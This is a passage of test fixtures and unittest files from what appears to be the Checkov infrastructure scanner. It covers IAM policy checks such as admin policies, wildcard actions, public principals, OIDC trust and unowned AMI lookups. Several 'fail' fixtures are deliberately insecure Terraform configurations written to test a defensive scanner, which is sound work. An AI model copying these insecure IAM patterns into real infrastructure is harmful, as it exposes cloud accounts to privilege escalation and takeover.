"create_date": true, "id": true, "inline_policy": [ {} ], "managed_policy_arns": true, "name_prefix": true, "tags_all": {}, "unique_id": true }, "before_sensitive": false, "after_sensitive": { "inline_policy": [ {} ], "managed_policy_arns": [], "tags_all": {} } } }, { "address": "module.poc.aws_iam_role.r1[\"p2\"]", "module_address": "module.poc", "mode": "managed", "type": "aws_iam_role", "name": "r1", "index": "p2", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": null, "force_detach_policies": true, "inline_policy": [ { "name": "eks_s3_access", "policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Action\":[\"s3:ListBucket\"],\"Condition\":{\"StringLike\":{\"s3:prefix\":[\"p2/*\"]}},\"Effect\":\"Allow\",\"Resource\":[\"arn:aws:s3:::\"],\"Sid\":\"AllowListingOfUserFolder\"}]}" } ], "max_session_duration": 3600, "name": "r2", "path": "/", "permissions_boundary": null, "tags": null, "tags_all": { "checkov_uid": "CKV_AWS_358", "environment": "test", "managed_by": "terraform" } }, "after_unknown": { "arn": true, "assume_role_policy": true, "create_date": true, "id": true, "inline_policy": [ {} ], "managed_policy_arns": true, "name_prefix": true, "tags_all": {}, "unique_id": true }, "before_sensitive": false, "after_sensitive": { "inline_policy": [ {} ], "managed_policy_arns": [], "tags_all": {} } } } ], "configuration": { "provider_config": { "aws": { "name": "aws", "full_name": "registry.terraform.io/hashicorp/aws", "expressions": { "default_tags": [ { "tags": { "constant_value": { "checkov_uid": "CKV_AWS_358", "environment": "test", "managed_by": "terraform" } } } ], "region": { "constant_value": "eu-central-1" } } } }, "root_module": { "module_calls": { "poc": { "source": "./module", "module": { "resources": [ { "address": "aws_iam_openid_connect_provider.r5", "mode": "managed", "type": "aws_iam_openid_connect_provider", "name": "r5", "provider_config_key": "aws", "expressions": { "client_id_list": { "constant_value": [ "sts.amazonaws.com" ] }, "thumbprint_list": { "constant_value": [ "cf23df2207d99a74fbe169e3eba035e633b65d94" ] }, "url": { "constant_value": "https://accounts.google.com" } }, "schema_version": 0 }, { "address": "aws_iam_role.r6", "mode": "managed", "type": "aws_iam_role", "name": "r6", "provider_config_key": "aws", "expressions": { "assume_role_policy": { "references": [ "data.aws_iam_policy_document.r4", "each.key" ] }, "force_detach_policies": { "constant_value": true }, "inline_policy": [ { "name": { "constant_value": "eks_s3_access" }, "policy": { "references": [ "each.value" ] } } ], "name": { "references": [ "each.value" ] } }, "schema_version": 0, "for_each_expression": { "references": [ "var.app_k8s_namespace" ] } }, { "address": "aws_iam_role.r1", "mode": "managed", "type": "aws_iam_role", "name": "r1", "provider_config_key": "aws", "expressions": { "assume_role_policy": { "references": [ "data.aws_iam_policy_document.r3", "each.key" ] }, "force_detach_policies": { "constant_value": true }, "inline_policy": [ { "name": { "constant_value": "eks_s3_access" }, "policy": { "references": [ "each.value" ] } } ], "name": { "references": [ "each.value" ] } }, "schema_version": 0, "for_each_expression": { "references": [ "var.app_k8s_namespace" ] } }, { "address": "data.aws_iam_policy_document.r4", "mode": "data", "type": "aws_iam_policy_document", "name": "r4", "provider_config_key": "aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "sts:AssumeRoleWithWebIdentity" ] }, "condition": [ { "test": { "constant_value": "StringEquals" }, "values": { "references": [ "each.value" ] }, "variable": { "references": [ "aws_iam_openid_connect_provider.r5.url", "aws_iam_openid_connect_provider.r5" ] } }, { "test": { "constant_value": "StringEquals" }, "values": { "constant_value": [ "sts.amazonaws.com" ] }, "variable": { "references": [ "aws_iam_openid_connect_provider.r5.url", "aws_iam_openid_connect_provider.r5" ] } } ], "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "cognito-identity.amazonaws.com" ] }, "type": { "constant_value": "Federated" } } ] } ] }, "schema_version": 0, "for_each_expression": { "references": [ "var.app_k8s_namespace" ] } }, { "address": "data.aws_iam_policy_document.r3", "mode": "data", "type": "aws_iam_policy_document", "name": "r3", "provider_config_key": "aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "sts:AssumeRoleWithWebIdentity" ] }, "condition": [ { "test": { "constant_value": "StringEquals" }, "values": { "references": [ "each.value" ] }, "variable": { "references": [ "aws_iam_openid_connect_provider.r5.url", "aws_iam_openid_connect_provider.r5" ] } }, { "test": { "constant_value": "StringEquals" }, "values": { "constant_value": [ "sts.amazonaws.com" ] }, "variable": { "references": [ "aws_iam_openid_connect_provider.r5.url", "aws_iam_openid_connect_provider.r5" ] } } ], "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "references": [ "aws_iam_openid_connect_provider.r5.arn", "aws_iam_openid_connect_provider.r5" ] }, "type": { "constant_value": "Federated" } } ] } ] }, "schema_version": 0, "for_each_expression": { "references": [ "var.app_k8s_namespace" ] } } ], "variables": { "app_k8s_namespace": { "default": [ "p2", "p1" ] } } } } } } }, "relevant_attributes": [ { "resource": "module.poc.aws_iam_openid_connect_provider.r5", "attribute": [ "url" ] }, { "resource": "module.poc.aws_iam_openid_connect_provider.r5", "attribute": [ "arn" ] }, { "resource": "module.poc.data.aws_iam_policy_document.r4", "attribute": [] }, { "resource": "module.poc.data.aws_iam_policy_document.r3", "attribute": [] } ], "timestamp": "123" } ================================================ FILE: tests/terraform/checks/data/aws/example_IAMManagedAdminPolicy/IAMManagedAdminPolicy.tf ================================================ # Fail data "aws_iam_policy" "fail1" { name = "AdministratorAccess" } data "aws_iam_policy" "fail2" { arn = "arn:aws:iam::aws:policy/AdministratorAccess" } # Pass data "aws_iam_policy" "pass1" { name = "AmazonS3ReadOnlyAccess" } data "aws_iam_policy" "pass2" { arn = "arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess" } ================================================ FILE: tests/terraform/checks/data/aws/example_IAMPublicActionsPolicy/public_actions.tf ================================================ resource "aws_sns_topic" "some-topic" {} data "aws_iam_policy_document" "fail" { statement { actions = ["sns:Publish"] principals { type = "AWS" identifiers = ["*"] } resources = [aws_sns_topic.some-topic.arn] } } data "aws_iam_policy_document" "pass" { statement { actions = ["sns:Publish"] principals { type = "AWS" identifiers = ["some:arn"] } resources = [aws_sns_topic.some-topic.arn] } } data "aws_iam_policy_document" "pass3" { statement { actions = ["sns:Publish"] principals { type = "AWS" identifiers = 3 } resources = [aws_sns_topic.some-topic.arn] } } data "aws_iam_policy_document" "pass1" { statement { actions = ["sns:Publish"] principals { type = "AWS" identifiers = [] } resources = [aws_sns_topic.some-topic.arn] } } data "aws_iam_policy_document" "pass2" { statement { actions = ["sns:Publish"] principals { type = "AWS" identifiers = ["*"] } condition { test = "ArnLike" values = ["arn:aws:service:region:accountId:resourceType/resourceId"] variable = "aws:PrincipalArn" } resources = [aws_sns_topic.some-topic.arn] } } data "aws_iam_policy_document" "fail2" { statement { actions = ["sns:Publish"] principals { type = "AWS" identifiers = ["*"] } condition { test = "ArnLike" values = ["arn:aws:service:region:accountId:resourceType/resourceId"] variable = "aws:PrincipalArn" } resources = [aws_sns_topic.some-topic.arn] } statement { actions = ["sns:Publish"] principals { type = "AWS" identifiers = ["*"] } resources = [aws_sns_topic.some-topic.arn] } } data "aws_iam_policy_document" "pass4" { statement { sid = "DenyObjectDelete" principals { type = "AWS" identifiers = ["*"] } effect = "Deny" actions = ["s3:DeleteObject"] resources = ["${aws_s3_bucket.migrations.arn}/*"] } } ================================================ FILE: tests/terraform/checks/data/aws/example_ModuleProvider/example/main.tf ================================================ resource "aws_s3_bucket" "bucket"{ bucket = "module-bucket" } ================================================ FILE: tests/terraform/checks/data/aws/example_ModuleProvider/main.tf ================================================ provider "aws" { region = "us-west-1" } provider "aws" { alias = "usw2" region = "us-west-2" } # The resources in the Provider block are not explicitly associated to this resource. module "example" { source = "./example" providers = { aws = aws.usw2 } } ================================================ FILE: tests/terraform/checks/data/aws/example_ResourcePolicyDocument/main.tf ================================================ data "aws_iam_policy_document" "fail" { version = "2012-10-17" statement { effect = "Allow" actions = [ "s3:Describe*", ] resources = [ "*", ] } } data "aws_iam_policy_document" "pass2" { version = "2012-10-17" statement { effect = "Deny" actions = [ "s3:Describe*", ] resources = [ "*", ] } } data "aws_iam_policy_document" "pass" { statement { sid = "1" actions = [ "s3:ListAllMyBuckets", "s3:GetBucketLocation", ] resources = [ "arn:aws:s3:::*", ] } statement { actions = [ "s3:ListBucket", ] resources = [ "arn:aws:s3:::${var.s3_bucket_name}", ] condition { test = "StringLike" variable = "s3:prefix" values = [ "", "home/", "home/&{aws:username}/", ] } } statement { actions = [ "s3:*", ] resources = [ "arn:aws:s3:::${var.s3_bucket_name}/home/&{aws:username}", "arn:aws:s3:::${var.s3_bucket_name}/home/&{aws:username}/*", ] } } data "aws_iam_policy_document" "pass_unrestrictable" { version = "2012-10-17" statement { effect = "Allow" actions = [ "s3:ListAllMyBuckets", ] resources = [ "*", ] } } data "aws_iam_policy_document" "pass_condition" { statement { actions = [ "kms:GenerateDataKey", "kms:Decrypt" ] resources = [ "*" ] condition { test = "ArnEquals" variable = "aws:SourceArn" values = [ "arn" ] } } } ================================================ FILE: tests/terraform/checks/data/aws/example_StarActionPolicyDocument/main.tf ================================================ # pass data "aws_iam_policy_document" "flatten" { version = "2012-10-17" statement = flatten(var.policy_json, []) } data "aws_iam_policy_document" "pass" { version = "2012-10-17" statement { effect = "Allow" actions = [ "s3:*", ] resources = [ "arn:aws:s3:::my_corporate_bucket/*", ] } } data "aws_iam_policy_document" "unknown" { version = "2012-10-17" statement = [{ actions = [ "s3:GetObject" ] resources = [ "${aws_s3_bucket.default.arn}/*" ] principals { type = "AWS" identifiers = ["*"] } }] # Support replication ARNs statement = ["${flatten(data.aws_iam_policy_document.replication.*.statement)}"] # Support deployment ARNs statement = ["${flatten(data.aws_iam_policy_document.deployment.*.statement)}"] } # fail data "aws_iam_policy_document" "fail" { version = "2012-10-17" statement { effect = "Allow" actions = [ "*" ] resources = [ "arn:aws:s3:::my_corporate_bucket/*", ] } } data "aws_iam_policy_document" "no_effect" { version = "2012-10-17" statement { actions = [ "*" ] resources = [ "arn:aws:s3:::my_corporate_bucket/*", ] } } # unknown ================================================ FILE: tests/terraform/checks/data/aws/example_WhoAMI/main.tf ================================================ # Vulnerable - no owner and '*' in name data "aws_ami" "fail1" { most_recent = true filter { name = "name" values = ["ubuntu/images/hvm-ssd/ubuntu-*-amd64-server"] } filter { name = "virtualization-type" values = ["hvm"] } } # Vulnerable - no owner and '?' in name data "aws_ami" "fail2" { most_recent = true filter { name = "name" values = ["ubuntu/images/hvm-ssd/ubuntu-20.04-amd64-server-202?"] } filter { name = "virtualization-type" values = ["hvm"] } } # Safe - has owner specified data "aws_ami" "pass1" { most_recent = true owners = ["099720109477"] # Canonical Ubuntu owner ID filter { name = "name" values = ["ubuntu/images/hvm-ssd/ubuntu-*-amd64-server"] # Even with wildcard, it's safer because owner is specified } filter { name = "virtualization-type" values = ["hvm"] } } # Safe - specific AMI name, no wildcards data "aws_ami" "pass2" { most_recent = true filter { name = "name" values = ["ubuntu/images/hvm-ssd/ubuntu-20.04-amd64-server-20230517"] # Specific version } filter { name = "virtualization-type" values = ["hvm"] } } ================================================ FILE: tests/terraform/checks/data/aws/example_module_with_one_provider/example/main.tf ================================================ resource "aws_s3_bucket" "bucket"{ bucket = "module-bucket" } ================================================ FILE: tests/terraform/checks/data/aws/example_module_with_one_provider/main.tf ================================================ provider "aws" { region = "us-west-1" } # The resources in the Provider block are not explicitly associated to this resource. module "example" { source = "./example" } ================================================ FILE: tests/terraform/checks/data/aws/example_provider_edge_case/main.tf ================================================ provider "aws" { region = "us-west-1" skip_credentials_validation = true skip_requesting_account_id = true skip_metadata_api_check = true # s3_force_path_style = true access_key = "mock_access_key" secret_key = "mock_secret_key" } module "level1" { source = "./nesting" } module "level1_2" { source = "./nesting_2" } resource "aws_s3_bucket_object" "this_file_2" { bucket = "your_bucket_name" key = "some_key" } ================================================ FILE: tests/terraform/checks/data/aws/example_provider_edge_case/nesting/main.tf ================================================ provider "aws" { region = "us-west-1" skip_credentials_validation = true skip_requesting_account_id = true skip_metadata_api_check = true # s3_force_path_style = true access_key = "mock_access_key" secret_key = "mock_secret_key" } provider "aws" { region = "eu-west-1" alias = "eu_west" skip_credentials_validation = true skip_requesting_account_id = true skip_metadata_api_check = true # s3_force_path_style = true access_key = "mock_access_key" secret_key = "mock_secret_key" } module "level2" { source = "./nesting_l2" } module "level2_2" { source = "./nesting_l2_2" providers = { aws = aws.eu_west } } resource "aws_s3_bucket_object" "this_other_file" { bucket = "your_bucket_name" key = "key" source = "source" } ================================================ FILE: tests/terraform/checks/data/aws/example_provider_edge_case/nesting/nesting_l2/main.tf ================================================ resource "aws_s3_bucket_object" "this_file_2" { bucket = "your_bucket_name" key = "some_key" } ================================================ FILE: tests/terraform/checks/data/aws/example_provider_edge_case/nesting/nesting_l2_2/main.tf ================================================ resource "aws_s3_bucket_object" "this_file_2" { bucket = "your_bucket_name" key = "some_key" } ================================================ FILE: tests/terraform/checks/data/aws/example_provider_edge_case/nesting_2/main.tf ================================================ resource "aws_s3_bucket_object" "this_file_2" { bucket = "your_bucket_name" key = "some_key" } ================================================ FILE: tests/terraform/checks/data/aws/example_provider_edge_case/readme.md ================================================ Resources by Address: File: /main.tf:21-24 - aws_s3_bucket_object.this_file_2 - Expected `__provider_address__` == "aws.default" - Result: aws.default File: /nesting/main.tf:36-41 - module.level1.aws_s3_bucket_object.this_other_file - Expected `__provider_address__` == "module.level1.aws.default" - Result: aws.default File: /nesting/nesting_l2/main.tf:2-5 - module.level1.module.level2.aws_s3_bucket_object.this_file_2 - Expected: `__provider_address__` == "module.level1.aws.default" - Result: __provider_address__ does not exist File: /nesting/nesting_l2_2/main.tf:2-5 - module.level1.module.level2_2.aws_s3_bucket_object.this_file_2 - Expected: `__provider_address__` == "module.level1.aws.eu_west" - Result: aws.eu_west File: /nesting_2/main.tf:2-5 - module.level1_2.aws_s3_bucket_object.this_file_2 - Expected: `__provider_address__` == "aws.default" - Result: aws.default ================================================ FILE: tests/terraform/checks/data/aws/example_provider_with_nested_module/example/example2/main.tf ================================================ provider "abbey" { } provider "aws" { region = "" alias = "aaa" } resource "aws_s3_bucket" "bucket"{ bucket = "module-bucket" provider = "aws.aaa" } ================================================ FILE: tests/terraform/checks/data/aws/example_provider_with_nested_module/example/main.tf ================================================ module "example2" { source = "./example2" } ================================================ FILE: tests/terraform/checks/data/aws/example_provider_with_nested_module/main.tf ================================================ provider "aws" { region = "us-west-1" } # The resources in the Provider block are not explicitly associated to this resource. module "example" { source = "./example" } ================================================ FILE: tests/terraform/checks/data/aws/example_provider_with_nested_module_assign_provider/example/example2/main.tf ================================================ resource "aws_s3_bucket" "bucket"{ bucket = "module-bucket" } ================================================ FILE: tests/terraform/checks/data/aws/example_provider_with_nested_module_assign_provider/example/main.tf ================================================ module "example2" { source = "./example2" } ================================================ FILE: tests/terraform/checks/data/aws/example_provider_with_nested_module_assign_provider/main.tf ================================================ provider "aws" { region = "us-west-1" } provider "aws" { region = "eu-west-1" alias = "eu-west-1" } # The resources in the Provider block are not explicitly associated to this resource. module "example" { source = "./example" providers = { aws = aws.eu-west-1 } } ================================================ FILE: tests/terraform/checks/data/aws/example_provider_without_module/main.tf ================================================ provider "aws" { region = "usw2" } provider "aws" { alias = "usw1" region = "" } resource "aws_s3_bucket" "bucket"{ bucket = "bucket" provider = aws.usw1 } resource "aws_s3_bucket" "bucket_2" { bucket = "bucket-2" } ================================================ FILE: tests/terraform/checks/data/aws/test_AdminPolicyDocument.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.data.aws.AdminPolicyDocument import check from checkov.terraform.runner import Runner class TestAdminPolicyDocument(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_AdminPolicyDocument" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_iam_policy_document.list", "aws_iam_policy_document.pass", } failing_resources = { "aws_iam_policy_document.fail", "aws_iam_policy_document.no_effect", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/data/aws/test_CloudSplainingCredentialsExposure.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.data.aws.IAMCredentialsExposure import check from checkov.terraform.runner import Runner class TestcloudsplainingPrivilegeEscalation(unittest.TestCase): def setUp(self): from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner # needs to be reset, because the cache belongs to the class not instance BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {} def test(self): test_files_dir = Path(__file__).parent / "example_CloudSplainingCredentialsExposure" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_iam_policy_document.allowed_action", "aws_iam_policy_document.deny", "aws_iam_policy_document.pass", } failing_resources = { "aws_iam_policy_document.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 3) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(['statement/[0]/actions'], report.failed_checks[0].check_result.get('evaluated_keys')) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/data/aws/test_CloudSplainingDataExfiltration.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.data.aws.IAMDataExfiltration import check from checkov.terraform.runner import Runner class TestcloudsplainingDataExfiltration(unittest.TestCase): def setUp(self): from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner # needs to be reset, because the cache belongs to the class not instance BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {} def test(self): test_files_dir = Path(__file__).parent / "example_CloudSplainingDataExfiltration" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_iam_policy_document.pass", } failing_resources = { "aws_iam_policy_document.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(['statement/[0]/actions'], report.failed_checks[0].check_result.get('evaluated_keys')) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/data/aws/test_CloudSplainingPrivilegeEscalation.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.data.aws.IAMPrivilegeEscalation import check from checkov.terraform.runner import Runner class TestcloudsplainingPrivilegeEscalation(unittest.TestCase): def setUp(self): from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner # needs to be reset, because the cache belongs to the class not instance BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {} def test(self): test_files_dir = Path(__file__).parent / "example_CloudSplainingPrivilegeEscalation" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_iam_policy_document.pass", } failing_resources = { "aws_iam_policy_document.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(['statement/[0]/actions'], report.failed_checks[0].check_result.get('evaluated_keys')) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/data/aws/test_CloudsplainingIAMWrite.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.data.aws.IAMWriteAccess import check from checkov.terraform.runner import Runner class TestCloudsplainingIAMWrite(unittest.TestCase): def setUp(self): from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner # needs to be reset, because the cache belongs to the class not instance BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {} def test(self): test_files_dir = Path(__file__).parent / "example_CloudsplainingIAMWrite" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_iam_policy_document.restrictable", "aws_iam_policy_document.unrestrictable", } failing_resources = { "aws_iam_policy_document.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(['statement/[0]/actions'], report.failed_checks[0].check_result.get('evaluated_keys')) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/data/aws/test_CloudsplainingPermissionsManagement.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.data.aws.IAMPermissionsManagement import check from checkov.terraform.runner import Runner class TestCloudsplainingPermissionManagement(unittest.TestCase): def setUp(self): from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner # needs to be reset, because the cache belongs to the class not instance BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {} def test(self): test_files_dir = Path(__file__).parent / "example_CloudsplainingPermissionsManagement" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_iam_policy_document.pass", } failing_resources = { "aws_iam_policy_document.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(['statement/[0]/actions'], report.failed_checks[0].check_result.get('evaluated_keys')) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/data/aws/test_GithubActionsOIDCTrustPolicy.py ================================================ import os import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.data.aws.GithubActionsOIDCTrustPolicy import check from checkov.terraform.runner import Runner from checkov.terraform.plan_runner import Runner as PlanRunner class TestGithubActionsOIDCTrustPolicy(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_GithubActionsOIDCTrustPolicy" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_iam_policy_document.pass1", "aws_iam_policy_document.pass2", "aws_iam_policy_document.pass3", "aws_iam_policy_document.pass-org-only", "aws_iam_policy_document.pass_aud_first", "aws_iam_policy_document.pass-gh-org", } failing_resources = { "aws_iam_policy_document.fail1", "aws_iam_policy_document.fail2", "aws_iam_policy_document.fail-wildcard", "aws_iam_policy_document.fail-abusable", "aws_iam_policy_document.fail-wildcard-assertion", "aws_iam_policy_document.fail-misused-repo", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) def test_terraform_plan(self): runner = PlanRunner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_path = current_dir + "/example_GithubActionsOIDCTrustPolicy/tfplan.json" report = runner.run(files=[test_files_path], runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'module.poc.data.aws_iam_policy_document.r4["p1"]', 'module.poc.data.aws_iam_policy_document.r4["p2"]', 'module.poc.data.aws_iam_policy_document.r3["p1"]', 'module.poc.data.aws_iam_policy_document.r3["p2"]', } passed_check_resources = set([c.resource for c in report.passed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], 0) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/data/aws/test_IAMManagedAdminPolicy.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.data.aws.IAMManagedAdminPolicy import check class TestIAMManagedAdminPolicy(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_IAMManagedAdminPolicy") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_iam_policy.pass1", "aws_iam_policy.pass2", } failing_resources = { "aws_iam_policy.fail1", "aws_iam_policy.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/data/aws/test_IAMPublicActionsPolicy.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.data.aws.IAMPublicActionsPolicy import check from checkov.terraform.runner import Runner class TestIAMPublicActionsPolicy(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_IAMPublicActionsPolicy" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_iam_policy_document.pass", 'aws_iam_policy_document.pass1', "aws_iam_policy_document.pass2", "aws_iam_policy_document.pass3", "aws_iam_policy_document.pass4" } failing_resources = { "aws_iam_policy_document.fail", "aws_iam_policy_document.fail2" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/data/aws/test_ModuleProvider.py ================================================ import unittest from pathlib import Path from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph from checkov.terraform.tf_parser import TFParser class TestModuleProvider(unittest.TestCase): def test_module_with_two_providers(self): test_files_dir = Path(__file__).parent / "example_ModuleProvider" hcl_config_parser = TFParser() module, _ = hcl_config_parser.parse_hcl_module(test_files_dir, source='TERRAFORM') local_graph = TerraformLocalGraph(module) local_graph.build_graph(True) assert len(local_graph.edges) == 2 assert local_graph.vertices[0].attributes.get('__provider_address__') == local_graph.vertices[3].attributes.get('__address__') assert local_graph.vertices[0].attributes.get('__provider_address__') == local_graph.vertices[3].config['aws'].get('__address__') assert local_graph.edges[0].origin == 1 and local_graph.edges[0].dest == 3 assert local_graph.edges[1].origin == 0 and local_graph.edges[1].dest == 3 def test_module_with_one_def_provider(self): test_files_dir = Path(__file__).parent / "example_module_with_one_provider" hcl_config_parser = TFParser() module, _ = hcl_config_parser.parse_hcl_module(test_files_dir, source='TERRAFORM') local_graph = TerraformLocalGraph(module) local_graph.build_graph(True) resource_provider_address = local_graph.vertices[0].attributes.get('__provider_address__') default_provider_address_from_module = local_graph.vertices[2].attributes.get('__address__') assert resource_provider_address == default_provider_address_from_module def test_resource_with_def_provider(self): test_files_dir = Path(__file__).parent / "example_provider_without_module" hcl_config_parser = TFParser() module, _ = hcl_config_parser.parse_hcl_module(test_files_dir, source='TERRAFORM') local_graph = TerraformLocalGraph(module) local_graph.build_graph(True) # assert resource with provider ref. resource_provider_address_with_alias = local_graph.vertices[2].attributes.get('__provider_address__') provider_address_with_alias = local_graph.vertices[1].attributes.get('__address__') assert resource_provider_address_with_alias == provider_address_with_alias # assert resource without ref to the default provider resource_provider_address_default = local_graph.vertices[3].attributes.get('__provider_address__') provider_address_default = local_graph.vertices[0].attributes.get('__address__') assert resource_provider_address_default == provider_address_default def test_provider_nested_module(self): test_files_dir = Path(__file__).parent / "example_provider_with_nested_module" hcl_config_parser = TFParser() module, _ = hcl_config_parser.parse_hcl_module(test_files_dir, source='TERRAFORM') local_graph = TerraformLocalGraph(module) local_graph.build_graph(True) # assert resource with provider ref. resource_provider_address_with_alias = local_graph.vertices[2].attributes.get('__provider_address__') provider_address_with_alias = local_graph.vertices[1].attributes.get('__address__') assert resource_provider_address_with_alias == provider_address_with_alias def test_example_provider_with_nested_module_assign_provider(self): test_files_dir = Path(__file__).parent / "example_provider_with_nested_module_assign_provider" hcl_config_parser = TFParser() module, _ = 